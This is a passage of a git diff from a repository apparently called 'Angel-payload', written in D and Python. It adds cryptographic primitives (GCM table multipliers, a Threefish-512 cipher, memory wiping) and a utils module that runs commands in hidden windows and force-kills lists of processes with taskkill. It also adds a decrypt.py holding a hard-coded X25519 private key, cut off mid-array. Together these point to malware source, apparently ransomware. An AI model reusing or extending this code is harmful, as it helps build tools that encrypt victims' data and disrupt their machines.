||||
mult.multiply(X1);
|
||||
|
||||
assert(X1 == x"5e2ec746917062882c85b0685353deb7", "GF128 multiplication with 8k table failed!");
|
||||
}
|
||||
|
||||
private void tableSetup(in ubyte[] H) nothrow @nogc
|
||||
in {
|
||||
assert(H.length == 16, "H: invalid length");
|
||||
}
|
||||
body {
|
||||
ubyte[16] Pi;
|
||||
Pi[0] = 0x80;
|
||||
ubyte[1] oneByte;
|
||||
for(int i = 0; i < 32; ++i) {
|
||||
for(uint j = 0; j < 16; ++j) {
|
||||
M[i][j] = H;
|
||||
oneByte[0] = cast(ubyte) (j<<4);
|
||||
GF128.multiply(M[i][j], oneByte);
|
||||
GF128.multiply(M[i][j], Pi);
|
||||
}
|
||||
multiplyP4(Pi);
|
||||
}
|
||||
}
|
||||
|
||||
private void multiplyP4(ubyte[] x) nothrow @nogc {
|
||||
foreach(i;0..4){
|
||||
GF128.multiplyP(x);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/// This class provides table driven multiplication in GF(2^128).
|
||||
/// The 64k table is rather large and probably won't fit into the cache.
|
||||
/// Use the 8k table to avoid timing based leaks.
|
||||
@safe
|
||||
struct GCMMultiplier64kTable
|
||||
{
|
||||
|
||||
private {
|
||||
ubyte[16][256][16] M;
|
||||
}
|
||||
|
||||
this(in ubyte[] H) nothrow @nogc
|
||||
in {
|
||||
assert(H.length == 16, "H: invalid length");
|
||||
}
|
||||
body {
|
||||
init(H);
|
||||
}
|
||||
|
||||
nothrow @nogc {
|
||||
|
||||
/// initialize the multiplicator
|
||||
void init(in ubyte[] H) {
|
||||
tableSetup(H);
|
||||
}
|
||||
|
||||
/// Multiply x by H and store result in x.
|
||||
///
|
||||
/// Params:
|
||||
/// x = 16 byte block
|
||||
void multiply(ubyte[] x)
|
||||
in {
|
||||
assert(x.length == 16, "x: invalid length.");
|
||||
}
|
||||
body {
|
||||
|
||||
ubyte[16] z;
|
||||
|
||||
for(uint i = 0; i < 16; ++i) {
|
||||
z[] ^= M[i][x[i]][];
|
||||
}
|
||||
|
||||
x[] = z[];
|
||||
}
|
||||
}
|
||||
|
||||
/// test multiplication using 64k table
|
||||
unittest {
|
||||
immutable ubyte[16] H = cast(immutable ubyte[16]) x"66e94bd4ef8a2c3b884cfa59ca342b2e";
|
||||
ubyte[16] X1 = cast(immutable ubyte[16]) x"0388dace60b6a392f328c2b971b2fe78";
|
||||
|
||||
GCMMultiplier64kTable mult = GCMMultiplier64kTable(H);
|
||||
|
||||
mult.multiply(X1);
|
||||
|
||||
assert(X1 == x"5e2ec746917062882c85b0685353deb7", "GF128 multiplication with 64k table failed!");
|
||||
}
|
||||
|
||||
private void tableSetup(in ubyte[] H) nothrow @nogc
|
||||
in {
|
||||
assert(H.length == 16, "H: invalid length");
|
||||
}
|
||||
body {
|
||||
ubyte[16] P;
|
||||
P[0] = 0x80;
|
||||
ubyte[1] oneByte;
|
||||
for(int i = 0; i < 16; ++i) {
|
||||
for(uint j = 0; j <= 255; ++j) {
|
||||
M[i][j] = H;
|
||||
oneByte[0] = cast(ubyte) j;
|
||||
GF128.multiply(M[i][j], oneByte);
|
||||
GF128.multiply(M[i][j], P);
|
||||
}
|
||||
GF128.multiplyP8(P);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
/// This struct provides hardware accelerated multiplication in GF(2^128)
|
||||
/// using the Intel PCLMULQDQ instruction.
|
||||
///
|
||||
/// See: https://software.intel.com/sites/default/files/managed/72/cc/clmul-wp-rev-2.02-2014-04-20.pdf
|
||||
@safe
|
||||
struct GCMPCLMULQDQMultiplier
|
||||
{
|
||||
|
||||
private {
|
||||
ubyte[16] H;
|
||||
}
|
||||
|
||||
this(in ubyte[] H) nothrow @nogc
|
||||
in {
|
||||
assert(H.length == 16, "H: invalid length");
|
||||
}
|
||||
body {
|
||||
init(H);
|
||||
}
|
||||
|
||||
nothrow @nogc {
|
||||
/**
|
||||
* initialize the multiplicator
|
||||
*/
|
||||
void init(in ubyte[] H)
|
||||
in {
|
||||
assert(H.length == 16, "H: invalid length");
|
||||
}
|
||||
body {
|
||||
this.H[] = H[];
|
||||
}
|
||||
|
||||
/// Multiply x by H and store result in x.
|
||||
///
|
||||
/// Params:
|
||||
/// x = 16 byte block
|
||||
void multiply(ubyte[] x)
|
||||
in {
|
||||
assert(x.length == 16, "x: invalid length.");
|
||||
}
|
||||
body {
|
||||
//GF128.multiply(x, H);
|
||||
gfmul(x, H);
|
||||
}
|
||||
}
|
||||
|
||||
/// Multiplies a with b, result is stored in a.
|
||||
@trusted
|
||||
private void gfmul(ubyte[] a, in ubyte[] b) nothrow @nogc
|
||||
in {
|
||||
assert(a.length == 16, "Invalid length of input. Must be 16 bytes.");
|
||||
assert(b.length == 16, "Invalid length of input. Must be 16 bytes.");
|
||||
}
|
||||
body {
|
||||
auto aLength = a.length;
|
||||
foreach (i; 0 .. aLength / 2) {
|
||||
swap(a[i], a[aLength - 1 - i]);
|
||||
}
|
||||
ubyte[16] revB = b;
|
||||
foreach (i; 0 .. revB.length / 2) {
|
||||
auto bLen = revB.length;
|
||||
swap(revB[i], revB[bLen - 1 - i]);
|
||||
}
|
||||
|
||||
version(D_InlineAsm_X86_64) {
|
||||
__vector(ubyte[16]) va = *cast(__vector(ubyte[16])*)a.ptr;
|
||||
__vector(ubyte[16]) vb = *cast(__vector(ubyte[16])*)revB.ptr;
|
||||
|
||||
__vector(ubyte[16]) r0 = __pclmulqdq(va, vb, 0x00); // a0 * b0
|
||||
__vector(ubyte[16]) r1 = __pclmulqdq(va, vb, 0x10); // a0 * b1
|
||||
__vector(ubyte[16]) r2 = __pclmulqdq(va, vb, 0x01); // a1 * b0
|
||||
__vector(ubyte[16]) r3 = __pclmulqdq(va, vb, 0x11); // a1 * b1
|
||||
|
||||
__vector(ubyte[16]) t1 = r1 ^ r2;
|
||||
__vector(ubyte[16]) t2 = __shiftright(t1, 8);
|
||||
__vector(ubyte[16]) t3 = __shiftleft(t1, 8);
|
||||
__vector(ubyte[16]) t4 = r0 ^ t2;
|
||||
__vector(ubyte[16]) t5 = r3 ^ t3;
|
||||
|
||||
__vector(ubyte[16]) t6 = __shiftleft(t4, 1);
|
||||
__vector(ubyte[16]) t7 = __shiftleft(t5, 1);
|
||||
__vector(ubyte[16]) t8 = __shiftright(t4, 31);
|
||||
__vector(ubyte[16]) t9 = __shiftright(t5, 31);
|
||||
__vector(ubyte[16]) t10 = __shiftleft(t8, 4);
|
||||
__vector(ubyte[16]) t11 = __shiftleft(t9, 4);
|
||||
__vector(ubyte[16]) t12 = __shiftright(t8, 12);
|
||||
__vector(ubyte[16]) t13 = t6 ^ t10;
|
||||
__vector(ubyte[16]) t14 = t7 ^ t11;
|
||||
__vector(ubyte[16]) t15 = t14 ^ t12;
|
||||
|
||||
*cast(__vector(ubyte[16])*)a.ptr = t13 ^ t15;
|
||||
}
|
||||
|
||||
foreach (i; 0 .. a.length / 2) {
|
||||
auto aLen = cast(int)a.length;
|
||||
swap(a[i], a[aLen - 1 - i]);
|
||||
}
|
||||
}
|
||||
|
||||
// test pclmulqdq instruction with multiplication by 1
|
||||
@trusted
|
||||
unittest {
|
||||
import core.cpuid;
|
||||
version(D_InlineAsm_X86_64) {
|
||||
if(aes) {
|
||||
|
||||
ubyte[16] a = cast(const ubyte[16]) x"12345678000000000000000000000000";
|
||||
ubyte[16] b = cast(const ubyte[16]) x"01000000000000000000000000000000";
|
||||
ubyte[16] c;
|
||||
|
||||
asm {
|
||||
movdqu xmm1, [RBP + a];
|
||||
movdqu xmm3, [EBP + b];
|
||||
|
||||
db 0x66, 0x0f, 0x3a, 0x44, 0xd9, 0x00; // pclmulqdq xmm3, xmm1, 0x00; // xmm3 holds a0*b0
|
||||
|
||||
movdqu [EBP + c], xmm3;
|
||||
}
|
||||
|
||||
assert(c == x"12345678000000000000000000000000");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// test pclmulqdq instruction with test vectors from
|
||||
/// https://software.intel.com/sites/default/files/managed/72/cc/clmul-wp-rev-2.02-2014-04-20.pdf
|
||||
@trusted
|
||||
unittest {
|
||||
import core.cpuid;
|
||||
|
||||
version(D_InlineAsm_X86_64) {
|
||||
if(aes) {
|
||||
|
||||
/// Python code to convert test vectors into little endian format.
|
||||
/// Reverses the string by bytes (not by hexits):
|
||||
///
|
||||
/// import binascii
|
||||
/// def conv(xmmstr):
|
||||
/// bytearr=bytearray.fromhex(xmmstr)[::-1]
|
||||
/// return binascii.hexlify(bytearr)
|
||||
///
|
||||
/// conv('7b5b54657374566563746f725d53475d')
|
||||
/// conv('48692853686179295b477565726f6e5d')
|
||||
/// conv('1d4d84c85c3440c0929633d5d36f0451')
|
||||
///
|
||||
|
||||
ubyte[16] a = cast(const ubyte[16]) x"5d47535d726f74636556747365545b7b"; // xxm1 high: 7b5b546573745665 low: 63746f725d53475d
|
||||
ubyte[16] b = cast(const ubyte[16]) x"5d6e6f726575475b2979616853286948"; // 4869285368617929 5b477565726f6e5d
|
||||
ubyte[16] c;
|
||||
|
||||
asm {
|
||||
movdqu xmm1, [RBP + a];
|
||||
movdqu xmm3, [EBP + b];
|
||||
|
||||
db 0x66, 0x0f, 0x3a, 0x44, 0xd9, 0x00; // pclmulqdq xmm3, xmm1, 0x00; // xmm3 holds a0*b0
|
||||
|
||||
movdqu [EBP + c], xmm3;
|
||||
}
|
||||
assert(c == x"51046fd3d5339692c040345cc8844d1d");
|
||||
|
||||
asm {
|
||||
movdqu xmm1, [RBP + a];
|
||||
movdqu xmm3, [EBP + b];
|
||||
|
||||
db 0x66, 0x0f, 0x3a, 0x44, 0xd9, 0x01;
|
||||
|
||||
movdqu [EBP + c], xmm3;
|
||||
}
|
||||
assert(c == x"1513282aac40a57fa1b56a558d7cd11b");
|
||||
|
||||
asm {
|
||||
movdqu xmm1, [RBP + a];
|
||||
movdqu xmm3, [EBP + b];
|
||||
|
||||
db 0x66, 0x0f, 0x3a, 0x44, 0xd9, 0x10;
|
||||
|
||||
movdqu [EBP + c], xmm3;
|
||||
}
|
||||
assert(c == x"c9d5b7f42d26bfba2f86303adbf62b1a");
|
||||
|
||||
asm {
|
||||
movdqu xmm1, [RBP + a];
|
||||
movdqu xmm3, [EBP + b];
|
||||
|
||||
db 0x66, 0x0f, 0x3a, 0x44, 0xd9, 0x11;
|
||||
|
||||
movdqu [EBP + c], xmm3;
|
||||
}
|
||||
assert(c == x"edd40f413ee06ed6457c2e592c1f1e1d");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// /// test hardware accelerated multiplication (pclmulqdq)
|
||||
// unittest {
|
||||
//
|
||||
// immutable ubyte[16] H = cast(immutable ubyte[16]) x"00000000000000000000000000000080"; // neutral element
|
||||
// ubyte[16] X1 = cast(immutable ubyte[16]) x"0388dace60b6a392f328c2b971b2fe78";
|
||||
//
|
||||
// GCMPCLMULQDQMultiplier mult = GCMPCLMULQDQMultiplier(H);
|
||||
//
|
||||
// mult.multiply(X1);
|
||||
//
|
||||
// assert(X1 == x"0388dace60b6a392f328c2b971b2fe78", "GF128 multiplication with pclmulqdq failed!");
|
||||
// }
|
||||
|
||||
/// test hardware accelerated multiplication (pclmulqdq)
|
||||
unittest {
|
||||
|
||||
import std.algorithm: reverse;
|
||||
|
||||
ubyte[16] testH = cast(immutable ubyte[16]) x"952b2a56a5604ac0b32b6656a05b40b6";
|
||||
ubyte[16] X1 = cast(immutable ubyte[16]) x"dfa6bf4ded81db03ffcaff95f830f061";
|
||||
|
||||
ubyte[16] expected = cast(immutable ubyte[16]) x"da53eb0ad2c55bb64fc4802cc3feda60";
|
||||
|
||||
// reverse(H[]);
|
||||
// reverse(X1[]);
|
||||
// reverse(expected[]);
|
||||
|
||||
//GCMMultiplier8kTable mult = GCMMultiplier8kTable(H);
|
||||
GCMPCLMULQDQMultiplier mult = GCMPCLMULQDQMultiplier(testH);
|
||||
|
||||
mult.multiply(X1);
|
||||
|
||||
assert(X1 == expected, "GF128 multiplication with pclmulqdq failed!");
|
||||
}
|
||||
|
||||
// /// test hardware accelerated multiplication (pclmulqdq)
|
||||
// unittest {
|
||||
//
|
||||
// ulong[2] H = [0xb32b6656a05b40b6, 0x952b2a56a5604ac0];
|
||||
// ulong[2] X1 = [0xffcaff95f830f061, 0xdfa6bf4ded81db03];
|
||||
//
|
||||
// ulong[2] expected = [0x4fc4802cc3feda60, 0xda53eb0ad2c55bb6];
|
||||
//
|
||||
// //GCMMultiplier8kTable mult = GCMMultiplier8kTable(H);
|
||||
// GCMPCLMULQDQMultiplier mult = GCMPCLMULQDQMultiplier(cast(ubyte[16])H);
|
||||
//
|
||||
// mult.multiply(cast(ubyte[16])X1);
|
||||
//
|
||||
// assert(X1 == expected, "GF128 multiplication with pclmulqdq failed!");
|
||||
// }
|
||||
|
||||
}
|
||||
1030
full/Angel-payload/angel/utils/cryptography/serpent.d
Normal file
1030
full/Angel-payload/angel/utils/cryptography/serpent.d
Normal file
File diff suppressed because it is too large
Load Diff
261
full/Angel-payload/angel/utils/cryptography/threefish.d
Normal file
261
full/Angel-payload/angel/utils/cryptography/threefish.d
Normal file
@@ -0,0 +1,261 @@
|
||||
module angel.utils.cryptography.threefish;
|
||||
|
||||
import std.random : Random, unpredictableSeed, uniform;
|
||||
|
||||
// memcpy
|
||||
extern(C) nothrow @nogc void* memcpy(void* dst, const void* src, size_t n);
|
||||
|
||||
class Threefish512
|
||||
{
|
||||
private {
|
||||
// Размер блока шифра
|
||||
enum blockSize = 64;
|
||||
// Количество 64-битных слов в ключе (и в блоке)
|
||||
enum Nw = 8;
|
||||
// Количество раундов
|
||||
enum Nr = 72;
|
||||
// Количество раундов (за вычетом последнего)
|
||||
enum Ns = Nr / 4;
|
||||
// Функция перестановки
|
||||
uint[8] p = [2, 1, 4, 7, 6, 5, 0, 3];
|
||||
uint[8] p_1 = [6, 1, 0, 7, 2, 5, 4, 3];
|
||||
|
||||
// Функция смешивания и перестановки
|
||||
uint[4][8] r = [
|
||||
[46, 36, 19, 37],
|
||||
[33, 27, 14, 42],
|
||||
[17, 49, 36, 39],
|
||||
[44, 9 , 54, 56],
|
||||
[39, 30, 34, 24],
|
||||
[13, 50, 10, 17],
|
||||
[25, 29, 39, 43],
|
||||
[8 , 35, 56, 22]
|
||||
];
|
||||
|
||||
// Твик-значение (свободный параметр алгоритма)
|
||||
ulong[3] t;
|
||||
// Раундовые ключи
|
||||
ulong[8][Ns + 1] subKeys;
|
||||
|
||||
auto _mix(ref ulong[2] x, ulong r, ref ulong[2] y)
|
||||
{
|
||||
y[0] = x[0] + x[1];
|
||||
y[1] = (x[1] << r) | (x[1] >> (64 - r));
|
||||
y[1] ^= y[0];
|
||||
}
|
||||
|
||||
auto _demix(ref ulong[2] y, ulong r, ref ulong[2] x)
|
||||
{
|
||||
y[1] ^= y[0];
|
||||
x[1] = (y[1] << (64 - r)) | (y[1] >> r);
|
||||
x[0] = y[0] - x[1];
|
||||
}
|
||||
|
||||
alias _mod8 = (ulong a) => a & 7UL;
|
||||
}
|
||||
|
||||
/// Шифрование блока
|
||||
/// plain - указатель на блок для шифрования, c - массив-приемник результата
|
||||
void crypt(ulong* plainData, ulong* c) @system
|
||||
{
|
||||
ulong[8] f;
|
||||
ulong[8] e;
|
||||
ulong[2] y;
|
||||
ulong[2] x;
|
||||
ulong[8] v;
|
||||
uint i;
|
||||
|
||||
memcpy (&v[0], plainData, 64);
|
||||
|
||||
for (uint round = 0; round < Nr; round++)
|
||||
{
|
||||
if (round % 4 == 0)
|
||||
{
|
||||
uint s = round >> 2;
|
||||
|
||||
for (i = 0; i < Nw; i++)
|
||||
{
|
||||
e[i] = v[i] + subKeys[s][i];
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
for (i = 0; i < Nw; i++)
|
||||
{
|
||||
e[i] = v[i];
|
||||
}
|
||||
}
|
||||
|
||||
for (i = 0; i < Nw / 2; i++)
|
||||
{
|
||||
x[0] = e[i * 2];
|
||||
x[1] = e[i * 2 + 1];
|
||||
|
||||
_mix(x, r[cast(uint) _mod8(round)][i], y);
|
||||
|
||||
f[i * 2] = y[0];
|
||||
f[i * 2 + 1] = y[1];
|
||||
}
|
||||
|
||||
for (i = 0; i < Nw; i++)
|
||||
{
|
||||
v[i] = f[p[i]];
|
||||
}
|
||||
}
|
||||
|
||||
for (i = 0; i < Nw; i++)
|
||||
{
|
||||
c[i] = v[i] + subKeys[Ns][i];
|
||||
}
|
||||
}
|
||||
|
||||
/// Шифрование блока (безопасная версия)
|
||||
/// plain - массив с данными блока
|
||||
auto crypt(ulong[8] plainData)
|
||||
{
|
||||
ulong[8] c = 0;
|
||||
crypt(plainData.ptr, c.ptr);
|
||||
return c;
|
||||
}
|
||||
|
||||
/// Дешифрование блока
|
||||
/// plain - указатель на блок для дешифрования, c - массив-приемник результата
|
||||
void decrypt(ulong* plainData, ulong* c) @system
|
||||
{
|
||||
ulong[8] f;
|
||||
ulong[8] e;
|
||||
ulong[2] y;
|
||||
ulong[2] x;
|
||||
ulong[8] v;
|
||||
uint i;
|
||||
|
||||
memcpy(&v[0], plainData, 64);
|
||||
|
||||
for (uint round = Nr; round > 0; round--)
|
||||
{
|
||||
if (round % 4 == 0)
|
||||
{
|
||||
uint s = round >> 2;
|
||||
for (i = 0; i < Nw; i++)
|
||||
{
|
||||
f[i] = v[i] - subKeys[s][i];
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
for (i = 0; i < Nw; i++)
|
||||
{
|
||||
f[i] = v[i];
|
||||
}
|
||||
}
|
||||
|
||||
for (i = 0; i < Nw; i++)
|
||||
{
|
||||
e[i] = f[p_1[i]];
|
||||
}
|
||||
|
||||
for (i = 0; i < Nw / 2; i++)
|
||||
{
|
||||
y[0] = e[i * 2];
|
||||
y[1] = e[i * 2 + 1];
|
||||
|
||||
_demix(y, r[cast(uint) _mod8(round - 1)][i], x);
|
||||
|
||||
v[i * 2] = x[0];
|
||||
v[i * 2 + 1] = x[1];
|
||||
}
|
||||
}
|
||||
|
||||
for (i = 0; i < Nw; i++)
|
||||
{
|
||||
c[i] = v[i] - subKeys[0][i];
|
||||
}
|
||||
}
|
||||
|
||||
/// Дешифрование блока (безопасная версия)
|
||||
/// plain - массив с данными блока
|
||||
auto decrypt(ulong[8] plain)
|
||||
{
|
||||
ulong[8] c = 0;
|
||||
decrypt(plain.ptr, c.ptr);
|
||||
return c;
|
||||
}
|
||||
|
||||
/// Подготовка раундовых ключей
|
||||
/// keyData - указатель на массив с ключом, tweakData - указатель на массив с твик-значением
|
||||
void setup(ulong* keyData, ulong* tweakData) @system
|
||||
{
|
||||
uint i;
|
||||
ulong[8] K;
|
||||
ulong[2] T;
|
||||
ulong[9] key;
|
||||
|
||||
// C240 constant
|
||||
ulong kNw = 0x1BD11BDAA9FC1A22;
|
||||
|
||||
memcpy(&K[0], &keyData[0], 64);
|
||||
memcpy(&T[0], &tweakData[0], 16);
|
||||
|
||||
for (i = 0; i < Nw; i++)
|
||||
{
|
||||
kNw ^= K[i];
|
||||
key[i] = K[i];
|
||||
}
|
||||
|
||||
key[8] = kNw;
|
||||
|
||||
t[0] = T[0];
|
||||
t[1] = T[1];
|
||||
t[2] = T[0] ^ T[1];
|
||||
|
||||
for (uint round = 0; round <= Ns; round++)
|
||||
{
|
||||
for (i = 0; i < Nw; i++)
|
||||
{
|
||||
subKeys[round][i] = key[(round + i) % (Nw + 1)];
|
||||
|
||||
if (i == Nw - 3)
|
||||
{
|
||||
subKeys[round][i] += t[round % 3];
|
||||
}
|
||||
else if (i == Nw - 2)
|
||||
{
|
||||
subKeys[round][i] += t[(round + 1) % 3];
|
||||
}
|
||||
else if (i == Nw - 1)
|
||||
{
|
||||
subKeys[round][i] += round;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Подготовка раундовых ключей (безопасная версия)
|
||||
/// keyData - указатель на массив с ключом, tweakData - указатель на массив с твик-значением
|
||||
void setup(ulong[8] keyData, ulong[2] tweakData)
|
||||
{
|
||||
setup(keyData.ptr, tweakData.ptr);
|
||||
}
|
||||
|
||||
public static ulong[8] generateKey()
|
||||
{
|
||||
ulong[8] key;
|
||||
auto rng = Random(unpredictableSeed);
|
||||
foreach (i; 0 .. 8)
|
||||
{
|
||||
key[i] = uniform!ulong(rng);
|
||||
}
|
||||
return key;
|
||||
}
|
||||
|
||||
public static ulong[2] generateTweak()
|
||||
{
|
||||
ulong[2] tweak;
|
||||
auto rng = Random(unpredictableSeed);
|
||||
foreach (i; 0 .. 2)
|
||||
{
|
||||
tweak[i] = uniform!ulong(rng);
|
||||
}
|
||||
return tweak;
|
||||
}
|
||||
}
|
||||
109
full/Angel-payload/angel/utils/cryptography/utils.d
Normal file
109
full/Angel-payload/angel/utils/cryptography/utils.d
Normal file
@@ -0,0 +1,109 @@
|
||||
module angel.utils.cryptography.utils;
|
||||
|
||||
import core.vararg;
|
||||
import std.traits;
|
||||
import std.algorithm;
|
||||
|
||||
/// TODO: neat variadic implementation of `wipe()`
|
||||
|
||||
/// Clears data in memory.
|
||||
@safe @nogc nothrow
|
||||
void wipe(T)(ref T t) {
|
||||
static if(is(typeof(cast (ubyte[]) t))) {
|
||||
ubyte[] bytes = cast(ubyte[]) t;
|
||||
|
||||
bytes[] = 0;
|
||||
|
||||
if(!all!"a == 0"(bytes[])) {
|
||||
// This should not get optimized away.
|
||||
assert(false, "Wiping failed.");
|
||||
}
|
||||
} else static if ( is(typeof( {T a = T.init;} ))) {
|
||||
t = T.init;
|
||||
|
||||
if(t != T.init) {
|
||||
// This should not get optimized away.
|
||||
assert(false, "Wiping failed.");
|
||||
}
|
||||
} else {
|
||||
static assert(false, "Type not supported for wiping: " ~ T.stringof);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@safe @nogc nothrow
|
||||
void wipe(T...)(ref T ts) {
|
||||
foreach(ref t; ts) {
|
||||
wipe(t);
|
||||
}
|
||||
}
|
||||
|
||||
// test static arrays
|
||||
unittest {
|
||||
ubyte[4] buf1 = [1,2,3,4];
|
||||
uint[4] buf2 = [1,2,3,4];
|
||||
size_t[4] buf3 = [1,2,3,4];
|
||||
|
||||
wipe(buf1);
|
||||
wipe(buf2);
|
||||
wipe(buf3);
|
||||
|
||||
assert(all!"a == 0"(buf1[]), "Failed to wipe ubyte[].");
|
||||
assert(all!"a == 0"(buf2[]), "Failed to wipe ubyte[].");
|
||||
assert(all!"a == 0"(buf3[]), "Failed to wipe ubyte[].");
|
||||
}
|
||||
|
||||
// test dynamic arrays
|
||||
unittest {
|
||||
ubyte[] buf1 = [1,2,3,4];
|
||||
uint[] buf2 = [1,2,3,4];
|
||||
size_t[] buf3 = [1,2,3,4];
|
||||
|
||||
wipe(buf1, buf2, buf3);
|
||||
|
||||
assert(all!"a == 0"(buf1), "Failed to wipe ubyte[].");
|
||||
assert(all!"a == 0"(buf2), "Failed to wipe ubyte[].");
|
||||
assert(all!"a == 0"(buf3), "Failed to wipe ubyte[].");
|
||||
}
|
||||
|
||||
unittest {
|
||||
int a = 42;
|
||||
int b = 84;
|
||||
ubyte c = 1;
|
||||
|
||||
wipe(a, b, c);
|
||||
|
||||
assert(a == 0 && b == 0 && c == 0, "Wiping integer failed!");
|
||||
}
|
||||
|
||||
/// Compares a and b in constant time.
|
||||
///
|
||||
/// Returns: 0 if a == b, some other value if a != b.
|
||||
bool crypto_equals(T)(in T[] a, in T[] b) pure nothrow @safe @nogc
|
||||
in {
|
||||
assert(a.length == b.length, "Unequal length.");
|
||||
} body {
|
||||
T result = 0;
|
||||
size_t i = 0;
|
||||
|
||||
while(i < a.length) {
|
||||
result |= a[i] ^ b[i];
|
||||
++i;
|
||||
}
|
||||
|
||||
if(i != a.length) {
|
||||
// Just to be sure that the compiler optimization does not destroy const time.
|
||||
assert(false);
|
||||
}
|
||||
|
||||
return result == 0;
|
||||
}
|
||||
|
||||
// test crypto_equals
|
||||
unittest {
|
||||
ubyte[32] f = 0;
|
||||
immutable ubyte[32] zero = 0;
|
||||
assert(crypto_equals(f[], zero[]));
|
||||
f[8] = 1;
|
||||
assert(!crypto_equals(f[], zero[]));
|
||||
}
|
||||
14
full/Angel-payload/angel/utils/init.d
Normal file
14
full/Angel-payload/angel/utils/init.d
Normal file
@@ -0,0 +1,14 @@
|
||||
module angel.utils.init;
|
||||
|
||||
// Internal imports
|
||||
import angel.utils.constants;
|
||||
import angel.utils.logging;
|
||||
// External imports
|
||||
import std.stdio;
|
||||
import std.file;
|
||||
|
||||
void init() {
|
||||
if (!exists(Constants.workdir)) {
|
||||
mkdir(Constants.workdir);
|
||||
}
|
||||
}
|
||||
58
full/Angel-payload/angel/utils/logging.d
Normal file
58
full/Angel-payload/angel/utils/logging.d
Normal file
@@ -0,0 +1,58 @@
|
||||
module angel.utils.logging;
|
||||
|
||||
// Internal imports
|
||||
import angel.config : config;
|
||||
import angel.utils.constants;
|
||||
// External imports
|
||||
import std.stdio;
|
||||
import std.datetime;
|
||||
import std.file;
|
||||
import std.format;
|
||||
import std.string;
|
||||
|
||||
enum LogLevel {
|
||||
Debug,
|
||||
Event,
|
||||
Warning,
|
||||
Error
|
||||
}
|
||||
|
||||
class Logger {
|
||||
private static string getTimestamp() {
|
||||
auto now = Clock.currTime();
|
||||
return format!"%04d-%02d-%02d %02d:%02d:%02d"(
|
||||
now.year, now.month, now.day,
|
||||
now.hour, now.minute, now.second
|
||||
);
|
||||
}
|
||||
|
||||
private static string getLogSymbol(LogLevel level) {
|
||||
switch (level) {
|
||||
case LogLevel.Debug: return "[*]";
|
||||
case LogLevel.Event: return "[i]";
|
||||
case LogLevel.Warning: return "[!]";
|
||||
case LogLevel.Error: return "[E]";
|
||||
default: return "[?]";
|
||||
}
|
||||
}
|
||||
|
||||
private static void writeToFile(string message) {
|
||||
auto file = File(Constants.logFilePath, "a");
|
||||
file.write(message ~ "\n");
|
||||
file.close();
|
||||
}
|
||||
|
||||
public static void log(LogLevel level, string message) {
|
||||
auto timestamp = getTimestamp();
|
||||
auto symbol = getLogSymbol(level);
|
||||
|
||||
auto logMessage = timestamp ~ " " ~ symbol ~ " " ~ message;
|
||||
|
||||
writeToFile(logMessage);
|
||||
if (level == LogLevel.Debug && !config.debug_mode) {
|
||||
return;
|
||||
} else {
|
||||
writeln(logMessage);
|
||||
}
|
||||
}
|
||||
}
|
||||
81
full/Angel-payload/angel/utils/utils.d
Normal file
81
full/Angel-payload/angel/utils/utils.d
Normal file
@@ -0,0 +1,81 @@
|
||||
module angel.utils.utils;
|
||||
|
||||
// Internal imports
|
||||
import angel.utils.logging;
|
||||
// External imports
|
||||
import std.stdio;
|
||||
import std.process;
|
||||
import std.format;
|
||||
import core.thread.osthread;
|
||||
import core.sys.windows.windows;
|
||||
import std.conv : to;
|
||||
import std.range;
|
||||
import std.array;
|
||||
import std.string;
|
||||
import std.random;
|
||||
|
||||
class Utils {
|
||||
public static string generateRandomString(size_t length) {
|
||||
string characters = "0123456789abcdefghijklmnopqrstuvwxyz";
|
||||
auto rnd = Random();
|
||||
|
||||
auto randomChars = generate(() => characters[uniform(0, characters.length, rnd)]).take(length).array;
|
||||
|
||||
return to!string(randomChars);
|
||||
}
|
||||
|
||||
public static void execute(string command) {
|
||||
STARTUPINFOA si;
|
||||
PROCESS_INFORMATION pi;
|
||||
|
||||
si.cb = STARTUPINFO.sizeof;
|
||||
si.dwFlags = STARTF_USESHOWWINDOW;
|
||||
si.wShowWindow = SW_HIDE;
|
||||
|
||||
if (!CreateProcessA(
|
||||
null,
|
||||
cast(char*)command.ptr,
|
||||
null,
|
||||
null,
|
||||
false,
|
||||
0,
|
||||
null,
|
||||
null,
|
||||
&si,
|
||||
&pi
|
||||
)) {
|
||||
Logger.log(LogLevel.Error, format("Failed to create proc: %s", GetLastError()));
|
||||
return;
|
||||
}
|
||||
|
||||
WaitForSingleObject(pi.hProcess, INFINITE);
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
}
|
||||
|
||||
private static void dieproc(string proc_name) {
|
||||
Logger.log(LogLevel.Debug, format("Attempting to kill proc: %s", proc_name));
|
||||
string command = format("cmd.exe /C taskkill /F /IM \"%s\"", proc_name);
|
||||
|
||||
execute(command);
|
||||
}
|
||||
|
||||
public static void killproc(string[] ulist) {
|
||||
Logger.log(LogLevel.Debug, format("Attempting to kill procs: %s", ulist));
|
||||
|
||||
Thread[] threads;
|
||||
|
||||
foreach (proc; ulist) {
|
||||
auto t = new Thread(() => dieproc(proc));
|
||||
threads ~= t;
|
||||
t.start();
|
||||
continue;
|
||||
}
|
||||
|
||||
foreach (t; threads) {
|
||||
joinLowLevelThread(t.id);
|
||||
}
|
||||
|
||||
Logger.log(LogLevel.Debug, "All procs killed.");
|
||||
}
|
||||
}
|
||||
99
full/Angel-payload/decrypt.py
Normal file
99
full/Angel-payload/decrypt.py
Normal file
@@ -0,0 +1,99 @@
|
||||
import os
|
||||
from cryptography.hazmat.primitives import serialization
|
||||
from cryptography.hazmat.primitives.asymmetric import x25519
|
||||
from cryptography.hazmat.primitives.kdf.scrypt import Scrypt
|
||||
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
|
||||
from cryptography.hazmat.backends import default_backend
|
||||
|
||||
private_key_hex = [
|
||||
0xA8,
|
||||
0x52,
|
||||
0x05,
|
||||
0xD2,
|
||||
0x9F,
|
||||
0x6B,
|
||||
0xD4,
|
||||
0x8B,
|
||||
0x08,
|
||||
0x64,
|
||||
0x59,
|
||||
0xE0,
|
||||
0xAB,
|
||||
0xD1,
|
||||
0x06,
|
||||
0x3D,
|
||||
0xCE,
|
||||
0xF2,
|
